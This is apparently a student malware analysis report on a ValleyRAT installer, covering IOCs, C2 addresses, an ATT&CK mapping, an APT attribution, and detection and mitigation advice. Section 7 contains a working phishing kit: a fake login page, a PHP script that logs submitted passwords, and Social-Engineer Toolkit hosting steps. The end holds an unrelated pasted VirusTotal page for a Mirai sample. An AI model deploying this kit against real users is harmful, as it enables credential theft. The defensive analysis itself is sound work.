

Malware Analysis Report — ValleyRAT sample

Sample: `output_86_2025.10.12_21.45.19_SETUP.exe`

Sample hashes (from Joe Sandbox):

- MD5: `67c6d9ec3d82c7de497fec59f1922ea9`.
report-67c6d9ec3d82c7de497fec59...
- SHA256:
`649d671eaa8b72502cc01b6657fa96e91c7888c614584aa94c543b51bd41b6e5`.
report-67c6d9ec3d82c7de497fec59...

Analysis provided by: Joe Sandbox automated run (Analysis ID 1793921).

report-67c6d9ec3d82c7de497fec59...

Analysis date: 13 Oct 2025.

report-67c6d9ec3d82c7de497fec59...

1 — Executive summary

The submitted executable is a multi-stage malicious installer that Joe Sandbox classifies as a ValleyRAT infection. The installer unpacks a temporary payload, uses PowerShell to extract files into AppData (a certificate store-like path), registers a malicious DLL via `regsvr32.exe`, injects code into `regsvr32.exe`, and establishes C2 communication with `192.229.116.44` on ports `5666/5667/5668`. The sample exhibits keylogging and C2 backdoor behavior and uses several evasion techniques (sleep/stalling, mutex checks, PowerShell execution-policy bypass, hidden windows). Evidence and details are from the Joe Sandbox report.

2 — Detection & scanning posture (summary)

- Joe Sandbox verdict: **malicious / ValleyRAT**; score 66/100. YARA rules detected ValleyRAT strings and config.
report-67c6d9ec3d82c7de497fec59...
- VirusTotal pointer in the report (sample detection low single-digit percentage at the time of run for the initial PE; Joe Sandbox lists a VirusTotal link).
report-67c6d9ec3d82c7de497fec59...
- Some AV/engines flagged dropped components (ReversingLabs detections listed).
report-67c6d9ec3d82c7de497fec59...

Note: Joe Sandbox shows different detection ratios for the initial installer vs dropped components; always treat installer wrappers and staged payloads separately when writing signatures.

report-67c6d9ec3d82c7de497fec59...

3 — Observable behavior & Indicators of Compromise (IOCs)

High-confidence IOCs (from the report)

- **Files / Paths** (created/dropped):
 - `C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\UiPP_UiPPJ_QIZ_32af3c70.dll` (registered by regsvr32).
report-67c6d9ec3d82c7de497fec59...
 - Temp installer files: `is-*.tmp` under `%LOCALAPPDATA%\Temp` (e.g., `is-00DTS.tmp`, `is-34T2J.tmp`).
report-67c6d9ec3d82c7de497fec59...
 - `second_data.zip` extracted to `...SystemCertificates\.` (PowerShell extraction).
report-67c6d9ec3d82c7de497fec59...
- **Processes / Commands:**
 - `regsvr32.exe /s /u "%APPDATA%\...\UiPP_...32af3c70.dll"` (abused to register malicious DLL).

report-67c6d9ec3d82c7de497fec59...

- PowerShell executed with `-WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; ... ExtractToFile(...)"`.
report-67c6d9ec3d82c7de497fec59...
- Code injection into `regsvr32.exe` (process injection).
report-67c6d9ec3d82c7de497fec59...

- **Network IOCs:**

- C2 host(s): `192.229.116.44` on TCP ports `5666`, `5667`, `5668`. (Observed Winos4.0 communication patterns).
- ASN/hosting: LEASEWEB-USA-LAX-11US (ASN 395954) listed in report as the hosting for `192.229.116.44`.
report-67c6d9ec3d82c7de497fec59...

- **Capabilities observed:**

- Keylogging / input capture.
report-67c6d9ec3d82c7de497fec59...
- DLL registration + process injection.
report-67c6d9ec3d82c7de497fec59...
- Persistent staging via scheduled task observed (report lists "GoogleUpdaterTaskSystem..." with regsvr32 command).
report-67c6d9ec3d82c7de497fec59...

Additional artifact (from uploaded harvester XML)

The provided XML harvester contains captured form fields including `Email=email.com` and `Passwd=12345` (sample credentials/harvested form data). This indicates either a phishing credential capture step or earlier data exfiltration via a form harvester.

2025-10-13 17:16:51.548925

4 — MITRE ATT&CK mapping (observed tactics & techniques)

Below is a concise mapping of the report's observed behaviors to ATT&CK technique IDs. Use this for the rubric mapping.

Initial Access

- **T1566** — Phishing (malicious installer masquerading as legitimate download).
report-67c6d9ec3d82c7de497fec59...

Execution

- **T1059.001** — PowerShell (malicious PowerShell extraction with **-ExecutionPolicy Bypass**).
report-67c6d9ec3d82c7de497fec59...

Persistence

- **T1053 / T1053.005** — Scheduled Task (report shows creation of a GoogleUpdaterTaskSystem run).
report-67c6d9ec3d82c7de497fec59...

Privilege Escalation

- (No explicit token tampering observed in report; Windows API use and service children suggest potential escalation attempts but not confirmed.)

Defense Evasion

- **T1055** — Process Injection (into **regsvr32.exe**).
report-67c6d9ec3d82c7de497fec59...
- **T1218.010** — Regsvr32 (abuse of regsvr32).
report-67c6d9ec3d82c7de497fec59...
- **T1027** — Obfuscated Files or Information (packed/installer; hidden execution; ZIP extraction into non-obvious dir).
report-67c6d9ec3d82c7de497fec59...

- **T1497** — Virtualization/Sandbox Evasion (sleep calls, mutex checks reported).
report-67c6d9ec3d82c7de497fec59...

Credential Access

- **T1056.001** — Keylogging (input capture detected).
report-67c6d9ec3d82c7de497fec59...

Discovery

- **T1083, T1082** — File and system discovery (accesses to system and scheduled tasks modules in PowerShell).
report-67c6d9ec3d82c7de497fec59...

Command and Control

- **T1071.001** — Application Layer Protocol (custom Winos4.0 framework traffic over TCP observed to C2 **192.229.116.44**).

Collection

- **T1115 / T1056** — Local data collection (keylogging) and possible clipboard/screen capture (report lists multiple capture capabilities).
report-67c6d9ec3d82c7de497fec59...

Impact / Exfiltration

- **T1041** — Exfiltration over C2 channel (C2 traffic observed; full exfil not explicitly recorded but channel exists).
report-67c6d9ec3d82c7de497fec59...

Full MITRE mapping is included in the Joe Sandbox report's ATT&CK matrix. Use the technique IDs above directly in your rubric submission to show alignment.

report-67c6d9ec3d82c7de497fec59...

5 — Mapping to a real APT campaign (recommended mapping)

Candidate APT: *Silver Fox* (China-linked / Chinese-language targeting)

Rationale / Evidence

- Multiple public reports tie ValleyRAT distribution campaigns to a China-linked actor often labeled *Silver Fox* or similar China-based APT clusters. These reports document ValleyRAT use in phishing/trojanized installer campaigns, Winos/Valley RAT frameworks, and targeting of Chinese-speaking organizations. See industry writeups from Zscaler, Morphisec, Intezer, Fortinet, and others documenting ValleyRAT campaigns and linking them to a China-aligned group sometimes referred to as *Silver Fox*. [Intezer+3Zscaler+3Fortinet+3](#)

Mapped ATT&CK behaviors (*Silver Fox* → ATT&CK):

- **Initial Access (T1566)** — phishing / trojanized installers; fake update pages. [The Hacker News+1](#)
- **Execution (T1059.001)** — PowerShell-based loaders; staged ZIP extraction. [KPMG Assets](#)
- **Defense Evasion (T1055, T1218.010)** — process injection and regsvr32 abuse; BYOVD attacks reported (use of signed vulnerable drivers). [The Hacker News+1](#)
- **Command & Control (T1071)** — custom C2 frameworks (Winos4.0, etc.) and encrypted communications. [Splunk](#)

References where *Silver Fox* / ValleyRAT link is discussed: Zscaler ThreatLabz, Morphisec, Intezer, Fortinet — these sources document ValleyRAT campaigns and attribution or linkage to Chinese actors (*Silver Fox*). [Fortinet+3Zscaler+3Morphisec+3](#)

Use this mapping in the project to demonstrate “real APT -> ATT&CK” linkage. Cite the industry sources above alongside the Joe Sandbox behavioral evidence (C2 addresses, regsvr32 injection, PowerShell extraction) for a robust, evidence-backed mapping.

6 — Behavioral indicators and potential impact (concise)

Behavioral indicators (things to detect):

- `regsvr32.exe` invoked with unfamiliar `AppData\...\SystemCertificates\*.dll` registration commands; command-line patterns like `regsvr32 /s /u "%APPDATA%\...\UiPP_*.dll"`.
report-67c6d9ec3d82c7de497fec59...
- PowerShell child processes launched from unusual parents (`regsvr32` `svchost` stack) with `-ExecutionPolicy Bypass` and `Add-Type System.IO.Compression.FileSystem` extraction calls.
report-67c6d9ec3d82c7de497fec59...
- Outbound TCP connections to `192.229.116.44` on high custom ports `5666/5667/5668` (and similar ephemeral ports).
report-67c6d9ec3d82c7de497fec59...
- Creation of scheduled tasks with names resembling updaters but executing `regsvr32` or unusual AppData DLLs.
report-67c6d9ec3d82c7de497fec59...
- Keylogger artifacts: frequent `ReadFile` on console/input devices & files showing high-frequency keystroke capture.
report-67c6d9ec3d82c7de497fec59...

Likely impact to a victim:

- **Credential theft** (keylogging / input capture / potential webform credential harvesting as the harvester XML demonstrates).
 - **Persistent remote access** and potential lateral movement via backdoor C2.
report-67c6d9ec3d82c7de497fec59...
 - **Data exfiltration / privacy breach** (C2 channel available; capabilities for clipboard, screen, microphone capture noted).
report-67c6d9ec3d82c7de497fec59...
 - **Possible AV/EDR tampering** (BYOVD reports in the wild for ValleyRAT distribution suggest attackers sometimes use vulnerable signed drivers to bypass security). [The Hacker News](#)
-

7 — Social-Engineering Toolkit (SET) — sample phishing template (educational / defensive use only)

Important legal & ethical note: The code below is for **defensive, classroom, or red-team training inside a controlled environment with explicit authorization**. Do NOT deploy malicious content against third parties or perform phishing on real users without consent. The template is intentionally simple so it's safe for learning: it demonstrates a classic credential-harvesting HTML page and the SET command to host it locally in Parrot/Kali. Use only in lab.

A. Minimal credential-harvesting HTML (replace dummy domain/strings for your lab)

Save as `fake_login.html` under a SET payload folder (e.g., `/root/.set/htm` or your lab webroot):

```
<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8" />
  <title>Sign in - ExampleMail</title>
  <meta name="viewport" content="width=device-width,initial-scale=1"
/>
  <style>
    body { font-family: Arial, Helvetica, sans-serif;
background:#f2f2f2; }
    .box { width: 420px; margin:80px auto; background:#fff;
padding:24px; border-radius:6px; box-shadow:0 2px 10px
rgba(0,0,0,0.08); }
    input { width:100%; padding:10px; margin:8px 0;
box-sizing:border-box; }
    button { width:100%; padding:10px; background:#1a73e8; color:#fff;
border:none; border-radius:4px; font-size:16px; }
    .small { color:#666; font-size:12px; margin-top:8px; }
  </style>
</head>
<body>
  <div class="box">
    <h2>Sign in</h2>
    <form method="post" action="login.php">
```



```

        <label>Email</label>
        <input type="email" name="email" required
placeholder="name@example.com" />
        <label>Password</label>
        <input type="password" name="password" required
placeholder="Password" />
        <button type="submit">Sign in</button>
        <p class="small">For lab/demo only. Do not use real
credentials.</p>
    </form>
</div>
</body>
</html>

```

And save a simple `login.php` (lab only) to capture POSTed credentials into a local file (`creds.txt`):

```

<?php
// login.php - lab only
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $email = htmlspecialchars($_POST['email'] ?? '');
    $pass  = htmlspecialchars($_POST['password'] ?? '');
    $line = date('c') . " | $email | $pass\n";
    file_put_contents('/root/lab_captured_creds.txt', $line,
FILE_APPEND | LOCK_EX);
    // Redirect to a benign page or show "login failed"
    header("Location: https://example.com/maintenance.html");
    exit;
}
?>

```

B. Quick SET hosting steps (Parrot OS / Kali)

1. Put `fake_login.html` and `login.php` into a local webroot you control (e.g., `/var/www/html/fakelogin/`), or use SET built-in web server integration.
2. If using the Social-Engineer Toolkit (SET) GUI/CLI:

- Run `sudo setoolkit`
 - Choose **1) Social-Engineering Attacks** → **2) Website Attack Vectors** → **3) Credential Harvester/Tabnabbing** → choose **2) Site Cloner** or **3) Custom** and point to your `fake_login.html` folder.
 - Provide the local IP to host (e.g., `http://10.0.2.15`), or enable Apache and copy files under `/var/www/html/`.
3. In a controlled lab, open the page from a test VM to verify captured credentials appear in `/root/lab_captured_creds.txt`.

Defensive alternatives / detection during exercise:

- Use DNS sinkholes, mail filters, and browser isolation; monitor for HTTP POSTs to unusual hosts; detect processes that immediately open browsers after receiving spearphish links; log and analyze user agent strings and `Referer` headers during training.
- When teaching, always use canned test accounts, never real user credentials.

8 — Recommended detection rules / hunting queries (examples)

Endpoint / EDR rules

- Detect `regsvr32.exe` usage where the command line contains `%APPDATA%\Microsoft\SystemCertificates\` or calls to unknown DLL names. (Process creation event + commandline filter).
report-67c6d9ec3d82c7de497fec59...
- Alert on `PowerShell.exe` child of `regsvr32.exe` (or non-standard parent) running `Add-Type` and `System.IO.Compression + ExtractToFile`.
report-67c6d9ec3d82c7de497fec59...

Network IDS / Logging

- Signature: TCP flows to **192.229.116.44** on ports **5666 | 5667 | 5668** — flag for deeper inspection; capture full payloads for protocol analysis.
report-67c6d9ec3d82c7de497fec59...
- JA3/TLS patterns (if the sample uses TLS) — capture JA3 fingerprints for unusual clientHello values.

SIEM hunting query examples (pseudo-SQL for logs)

- **proc_name:regsvr32.exe AND cmdline:("*SystemCertificates*")** → investigate.
report-67c6d9ec3d82c7de497fec59...
 - **process_parent:regsvr32.exe AND process_name:powershell.exe** → investigate.
report-67c6d9ec3d82c7de497fec59...
-

9 — Mitigations & recommended next steps

Immediate containment

1. Isolate hosts exhibiting the IOCs above. Block outbound IP **192.229.116.44** at firewall/NGFW.
report-67c6d9ec3d82c7de497fec59...
2. Collect volatile artifacts (memory image, running process list) from suspected hosts for offline analysis. Pay attention to **regsvr32.exe** and PowerShell child processes.
report-67c6d9ec3d82c7de497fec59...

Eradication / cleanup

- Remove scheduled tasks created by the sample (**GoogleUpdaterTaskSystem***), remove malicious DLLs from **%APPDATA%**, restore from backups if data suspected exfiltrated.
report-67c6d9ec3d82c7de497fec59...

Long-term

- Harden PowerShell usage: enable constrained language mode, enable module logging, script block logging; block `-ExecutionPolicy Bypass` via AppLocker/WDAC if feasible.
report-67c6d9ec3d82c7de497fec59...
- EDR/AV tuning to look for regsvr32 abuse and memory injection patterns; block known C2 IPs and implement egress filtering.
report-67c6d9ec3d82c7de497fec59...

User awareness

- Conduct phishing awareness training using benign simulation (do not use real credentials). The harvester XML shows example captured fields — include such artifacts in training to show users how captured credentials look.
2025-10-13 17:16:51.548925

10 — Appendix — Quick evidence citations

- Joe Sandbox full analysis (behavior, process tree, Yara detections, C2 addresses): Joe Sandbox report you uploaded.
- Harvester XML (sample harvested form fields showing `Email` and `Passwd`): uploaded XML.
2025-10-13 17:16:51.548925
- Public writeups linking ValleyRAT to China-linked actor(s) / Silver Fox and detailing Winos4.0/ValleyRAT campaigns: Zscaler, Morphisec, Fortinet, Intezer (industry writeups used to map to a real APT). [Intezer+3Zscaler+3Morphisec+3](#)

ChromeFileEditViewHistoryBookmarksProfilesTabWindowHelp

com: xReb: xWaz: xwaz: xPas: xWaz: xCyl: xUnt: xmy: xInbr: xViru: xMal: xUse: x+

virustotal.com/gui/file/cc6123d5be24a7be4e084068969f09dc56621ba7d20adaeecd65c0ef682121bf?nocache=1

cc6123d5be24a7be4e084068969f09dc56621ba7d20adaeecd65c0ef682121bf

Sign inSign up

23/65Community Score-12

23/65 security vendors flagged this file as malicious

ReanalyzeSimilarMore

cc6123d5be24a7be4e084068969f09dc56621ba7d20adaeecd65c0ef682121bf
cc6123d5be24a7be4e084068969f09dc56621ba7d20adaeecd65c0ef682121bf.elf
elfupxsets-process-namepersistenceself-delete

Size37.41 KB
Last Analysis Datea moment ago

ELF

DETECTIONDETAILSRELATIONSBEHAVIORCOMMUNITY

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat labeltrojan.miraiThreat categoriestrojanFamily labelsmirai

Security vendors' analysisDo you want to automate checks?

ALYac	Trojan.Linux.Mirai.1	Arcabit	Trojan.Linux.Mirai.1
Avast	ELF:Mirai-CZE [Trj]	AVG	ELF:Mirai-CZE [Trj]
BitDefender	Trojan.Linux.Mirai.1	CTX	Elf.trojan.mirai
DrWeb	Linux.Siggen.9621	Emsisoft	Trojan.Linux.Mirai.1 (B)

13

AppleTVMusicSignalRDPGoogleWhatsAppTelegram